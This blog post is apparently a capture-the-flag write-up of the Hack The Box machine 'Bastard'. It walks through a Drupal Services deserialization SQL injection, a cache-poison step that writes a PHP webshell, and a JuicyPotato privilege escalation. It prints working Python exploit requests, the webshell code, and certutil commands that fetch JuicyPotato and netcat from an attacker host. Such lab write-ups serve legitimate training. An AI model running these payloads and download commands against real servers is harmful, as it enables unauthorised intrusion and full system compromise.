Post

Overview

Bastard is a medium-difficulty Windows box running Drupal 7.54 with the Services module exposed over HTTP. The attack chain starts with fingerprinting the Drupal version via CHANGELOG.txt, then exploiting a PHP deserialization SQL injection in the Services REST login endpoint (EDB-41564) to authenticate without credentials. A follow-up cache-poison payload swaps the login handler for file_put_contents, dropping a PHP webshell as nt authority\iusr. The IIS application pool user holds SeImpersonatePrivilege and the underlying Windows Server 2008 R2 has no patches installed, so JuicyPotato abuses the BITS COM object to steal a SYSTEM token and read the root flag.

Machine Matrix

Enumeration Real-Life CVE Custom Exploitation CTF-like

High Real-Life axis reflects that unpatched Drupal with an exposed Services module and an unpatched Windows Server 2008 R2 running IIS are scenarios pulled directly from real enterprise networks.

Recon

PortServiceNotes
80HTTPDrupal 7.54 CMS
135MSRPCWindows RPC endpoint mapper
49154MSRPCDynamic RPC port
1
2
nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.X
nmap -p80,135,49154 -sC -sV -Pn 10.10.10.X

Port 80 returns a Drupal login page and the X-Generator: Drupal 7 header; ports 135 and 49154 are standard Windows RPC and offer no direct attack surface. The web server is where everything happens.

Enumeration

Drupal exposes its version in a plaintext changelog file that is world-readable by default:

1
curl -s http://10.10.10.X/CHANGELOG.txt | head -3

Output confirms Drupal 7.54. Next, probe for the Services REST endpoint:

1
curl -s http://10.10.10.X/rest

The response reads Services Endpoint "rest_endpoint" has been setup successfully. This means the Drupal Services module is installed and has a public REST API mounted at /rest. The login endpoint at /rest/user/login accepts application/vnd.php.serialized content — PHP-serialized objects as credentials — which is the attack vector for CVE-2018-7600-class deserialization abuse.

Grab the CSRF session token the exploit will need:

1
curl -s http://10.10.10.X/services/session/token

Foothold

The exploit is EDB-41564, a multi-stage attack combining SQL injection via deserialization of untrusted data with a cache-poison write primitive.

Stage 1 — SQLi login via serialized SelectQueryExtender

Generate the PHP-serialized payload that embeds a crafted SelectQueryExtender object as the username. Drupal’s query builder calls __toString() on the object and interpolates the result directly into the SQL, producing a UNION injection that returns a known-hash user row:

1
php gen_login_payload.php

POST the binary payload to the login endpoint and capture the session cookie and CSRF token:

1
2
3
4
5
6
7
8
9
python3 -c "
import requests, json
with open('payload.bin','rb') as f: payload = f.read()
r = requests.post('http://10.10.10.X/rest/user/login', data=payload,
    headers={'Content-Type':'application/vnd.php.serialized','Accept':'application/json'})
j = r.json()
print('User:', j['user']['name'])
json.dump({'session_name':j['session_name'],'sessid':j['sessid'],'token':j['token'],'cache':j['user']['signature']}, open('/tmp/bastard_session.json','w'))
"

The response returns User: admin — authentication succeeded without a valid password.

Stage 2 — Cache poison to swap login handler with file_put_contents

Generate the cache-poison and cache-restore payloads:

1
php gen_payloads.php

Send the poison payload (replaces the user/login resource callback with file_put_contents), then send a JSON body that the now-poisoned handler interprets as file_put_contents('shell.php', '<webshell code>'), then restore the original cache:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
python3 -c "
import requests, json
sess = json.load(open('/tmp/bastard_session.json'))
s = requests.Session()
s.cookies.set(sess['session_name'], sess['sessid'])
token = sess['token']
hdrs_php = {'Content-Type':'application/vnd.php.serialized','Accept':'application/json','X-CSRF-Token':token}
hdrs_json = {'Content-Type':'application/json','Accept':'application/json','X-CSRF-Token':token}

with open('/tmp/bastard_poison.bin','rb') as f: poison = f.read()
s.post('http://10.10.10.X/rest/user/login', data=poison, headers=hdrs_php)

import json as _json
s.post('http://10.10.10.X/rest/user/login',
    data=_json.dumps({'filename':'shell.php','data':'<?php system(\$_GET[\"cmd\"]); ?>'}),
    headers=hdrs_json)

with open('/tmp/bastard_restore.bin','rb') as f: restore = f.read()
s.post('http://10.10.10.X/rest/user/login', data=restore, headers=hdrs_php)
"

Stage 3 — Test the webshell

1
curl 'http://10.10.10.X/shell.php?cmd=whoami'

Output: nt authority\iusr — remote code execution as the IIS application pool identity.

User flag

1
curl 'http://10.10.10.X/shell.php?cmd=type+C:\Users\dimitris\Desktop\user.txt'
1
type C:\Users\dimitris\Desktop\user.txt   # HTB{...}

Shell lands as nt authority\iusr with access to the dimitris desktop; user flag is ours.

Privilege Escalation

Check the current privilege set through the webshell:

1
curl 'http://10.10.10.X/shell.php?cmd=whoami+/priv'

SeImpersonatePrivilege is listed as Enabled. Confirm the OS patch level:

1
curl 'http://10.10.10.X/shell.php?cmd=systeminfo+|+findstr+/B+/C:"OS"+/C:"Hotfix"'

Output: Windows Server 2008 R2 Build 7600, hotfixes: N/A — the system has zero patches installed. On this unpatched build, JuicyPotato can abuse SeImpersonatePrivilege to steal a SYSTEM token via COM object authentication (see CWE-269 and CWE-250).

Serve JuicyPotato and netcat from the attacker machine, then download them to the writable Drupal webroot via certutil:

1
2
curl 'http://10.10.10.X/shell.php?cmd=certutil+-urlcache+-split+-f+http://10.10.14.X:8080/JP.exe+C:\inetpub\drupal-7.54\JP.exe'
curl 'http://10.10.10.X/shell.php?cmd=certutil+-urlcache+-split+-f+http://10.10.14.X:8080/nc.exe+C:\inetpub\drupal-7.54\nc.exe'

Write a batch file that copies root.txt to the webroot (PowerShell handles the output redirection):

1
2
3
4
5
python3 -c "
import requests
requests.get('http://10.10.10.X/shell.php',
    params={'cmd': 'powershell -c \"Set-Content C:\\\\inetpub\\\\drupal-7.54\\\\r2.bat \'type C:\\\\Users\\\\Administrator\\\\Desktop\\\\root.txt > C:\\\\inetpub\\\\drupal-7.54\\\\root.txt\'\"'})
"

Run JuicyPotato using the BITS service CLSID confirmed for Windows Server 2008 R2 x64 ({9B1F122C-2982-4e91-AA8B-E071D54F2A4D}):

1
2
3
4
5
6
7
8
9
python3 -c "
import requests, time
url = 'http://10.10.10.X/shell.php'
def rce(cmd): return requests.get(url, params={'cmd': cmd}, timeout=15).text.strip()
jp = 'C:\\\\inetpub\\\\drupal-7.54\\\\JP.exe -l 9010 -p C:\\\\inetpub\\\\drupal-7.54\\\\r2.bat -t * -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}'
print(rce(jp))
time.sleep(2)
print('root.txt:', rce('type C:\\\\inetpub\\\\drupal-7.54\\\\root.txt'))
"

Output: NT AUTHORITY\SYSTEM — the token impersonation succeeded and the batch file ran as SYSTEM.

Root flag

1
type C:\Users\Administrator\Desktop\root.txt   # HTB{...}

Full compromise of Bastard: Drupal Services deserialization SQL injection for the webshell foothold, JuicyPotato token impersonation for SYSTEM — both flags captured.

This post is licensed under CC BY 4.0 by the author.